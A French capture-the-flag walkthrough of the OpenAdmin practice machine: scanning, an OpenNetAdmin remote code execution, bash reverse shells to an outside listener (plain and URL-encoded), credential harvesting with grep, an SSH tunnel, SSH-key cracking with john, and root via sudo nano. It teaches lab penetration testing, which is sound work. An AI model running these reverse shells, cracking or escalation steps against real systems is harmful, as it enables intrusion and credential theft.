OpenAdmin est une boxe idéale pour débuter. La plus grosse difficulté étant un local port forward. On va exploiter une faille de sécurité non patchée qui souligne l'importance d'avoir ces logiciels à jour
Niveau : facile
But : récupérer les fichiers users.txt et root.txt
Au programme
Scan
- nmap
- gobuster
Exploitation de la vulnérabilité
- Faille openNetAdmin
Collecte d'informations
Élévation de privillège
- nano en tant que sudo
Scan
nmap
nmap -sT -A --top-ports=1000 10.10.10.171
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vu la version de SSH sur le port 22, on ne va pas faire grand chose. Le port 80 est ouvert j'ai donc ouvert firefox et je suis tombé sur la page d'apache par défaut.
Gobuster
gobuster dir -u http://10.10.10.171 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/01/06 09:41:26 Starting gobuster in directory enumeration mode
===============================================================
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]
===============================================================
2022/01/06 09:46:08 Finished
===============================================================
Exploitation de la vulnérabilité
On trouve plusieurs sites Internet dont /music. Le lien login pointe vers http://10.10.10.171/ona qui n'est autre que openNetAdmin et on voit tout de suite que la version n'est pas à jour. On fonce chez exploitdb...
searchsploit nous permet d'accéder à la base de donnée d'exploit-db.com. Souvent c'est plus rapide que d'aller sur le site. On voit ci-dessous qu'on a une RCE. Jusqu'ici tout va bien...
Le code est super simple. On passe juste la commande à une URL via bash qui nous fournie une pseudo console.
Je voulais une meilleure console pour être plus à l'aise, j'ai donc lancé un listener netcat sur ma machine :
nc -nlvp 24000
Puis j'ai collé cette commande à notre script : bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/24000 0>&1' en prenant soin de l'encoder au format URL ce qui donne :
bash%20-c%20'%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.11%2F24000%200%3E%261'
Pour avoir une vraie shell (avec autocompletion et qui permet de lancer nano par exemple), il ne reste plus qu'à faire ceci :
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl z
stty raw -echo;fg
Maintenant on a une vraie shell et on va pouvoir collecter des infos
Collecte d'informations
La première chose que je fais c'est de voir qui sont les utilisateurs avec cat /etc/passwd. Mis à part root, il y a 2 utilisateurs : jimmy et joanna. Ensuite, vu qu'on a un serveur apache je me suis dit qu'aller voir la config pouvait être intéressant.
Dans openadmin.conf le serveur écoute sur le port 80 et le DocumentRoot /var/www/html. à regarder...
cat /etc/apache2/sites-available/openadmin.conf
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
ServerName openadmin.htb
ServerAdmin jimmy@openadmin.htb
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
et dans internal.conf :
Listen 127.0.0.1:52846 // Le site n'est accessible que depuis localhost sur le port 52746 (Sticky note : Port Forward ?)
DocumentRoot /var/www/internal // à regarder
<IfModule mpm_itk_module>
AssignUserID joanna joanna // Si on execute qqch ce sera fait avec l'utilisateur joanna. On progresse.
</IfModule>
cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
AssignUserID joanna joanna
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
À ce moment là, je cherche des mots de passe. Le plus souvent on trouve ça dans les fichiers de configuration. Je n'ai rien trouvé d'intéressant dans /var/www/html. Il y a donc forcément quelque chose dans /opt/ona/www. Il y a énormément de dossiers et fichiers là-dedans. J'en appelle à mon meilleur ami : grep.
www-data@openadmin:/opt/ona/www$ grep -Ri passwd
plugins/ona_nmap_scans/install.php: mysql -u {$self['db_login']} -p{$self['db_passwd']} {$self['db_database']} < {$sqlfile}
include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['0']['db_passwd'] = $db_context[$type] [$context_name] ['primary'] ['db_passwd'];
include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['1']['db_passwd'] = $db_context[$type] [$context_name] ['secondary'] ['db_passwd'];
include/functions_db.inc.php: $ok1 = $object->PConnect($self['db_host'], $self['db_login'], $db['db_passwd'], $self['db_database']);
.htaccess.example:# You will need to create an .htpasswd file that conforms to the standard
.htaccess.example:# htaccess format, read the man page for htpasswd. Change the
.htaccess.example:# AuthUserFile option below as needed to reference your .htpasswd file.
.htaccess.example:# names, however, do need to be the same in both the .htpasswd and web
.htaccess.example: #AuthUserFile /opt/ona/www/.htpasswd
local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
winc/user_edit.inc.php: name="passwd"
winc/user_edit.inc.php: if (!$form['id'] and !$form['passwd']) {
winc/user_edit.inc.php: if ($form['passwd']) {
winc/user_edit.inc.php: $form['passwd'] = md5($form['passwd']);
winc/user_edit.inc.php: 'passwd' => $form['passwd'],
winc/user_edit.inc.php: if (strlen($form['passwd']) 32) {
winc/user_edit.inc.php: $form['passwd'] = $record['passwd'];
winc/user_edit.inc.php: 'passwd' => $form['passwd'],
winc/tooltips.inc.php:// Builds HTML for changing tacacs enable passwd
grep permet de chercher des mots dans des fichiers. J'ai utilisé -R pour scanner tous les fichiers de manière récursive et -i pour que la recherche ne tienne pas compte de la casse. Bingo ! J'ai un accès à la base de donnée dans le fichier local/config/database_settings.inc.php
Le mot de passe pour se connecter en ssh est le même. Jusqu'ici tout va bien...
Sauf que je n'ai pas le user.txt. Il va falloir accéder au compte de joanna. On a déjà pas mal d'info. Maintenant que je suis jimmy, je peux accéder à /var/www/internal. En regardant le code, je vois que main.php me permet d'accéder à la clé SSH de joanna. Pour y accéder, je dois passer par index.php qui est un formulaire de login protégé par mot de passe.
J'ai changé le code :
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
par
if ($_POST['username'] == 'jimmy' && $_POST['password'] == 'jimmy') {
pour pouvoir accéder à la page et récupérer la clé.
Le site n'est accessible qu'en local, il va donc falloir créer un tunnel local port forward :
ssh jimmy@10.10.10.171 -L 666:127.0.0.1:52846
Grâce à cette commande, je vais pouvoir me connecter au port 52846 de la machine openadmin en utilisant mon evil port 666
J'ai récupéré la clé SSH, changé le chmod à 600 et essayé de me connecter mais malheureusement la clé est protégée par un mot de passe.
Les clés SSH sont très longue à cracker. Heureusement pour nous jimmy nous a laissé un indice : "Don't forger your "ninja" password". J'ai donc décidé de créer une wordlist à partir de rockyou.txt à l'aide de ce code :
grep -i ninja /home/fr3sh/Documents/Wordlists/rockyou.txt > wordlist.txt
Maintenant il ne me reste plus qu'à convertir mon fichier ssh grâce à ssh2john et à essayer de cracker le mot de passe avec john
/home/fr3sh/Documents/ToOls/ssh2john.py joanna_id_rsa > ssh2crack
john --wordlist=wordlist.txt ssh2crack
Bingo ! J'ai trouvé le mot de passe. Je peux donc me connecter en SSH et récupérer user.txt
Élévation de privillège
Mes 3 premières commandes pour une élévation de privilège sont :
- ls -alh /etc/passwd //Pour voir si je peux écrire sur passwd. Si si ça arrive ;-)
- ls -alh /etc/shadow //Pour voir si je peux écrire sur shadow. C'est plus rare
- sudo -l //Pour voir quel pouvoir sudo m'a accordé.
La 3e commande me dit que je peux accéder à nano
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Un petit tour sur https://gtfobins.github.io/ m'indique que nano garde le privilège root quand j'exécute une commande. Pour ce faire il suffit de faire ctrl R suivi de ctrl X et de lancer la commande. J'ai choisi de m'envoyer une shell (on n'oublie pas de mettre un listener avant d'envoyer la commande nc -nlvp 24660) :
bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/24660 0>&1'
Me voilà root.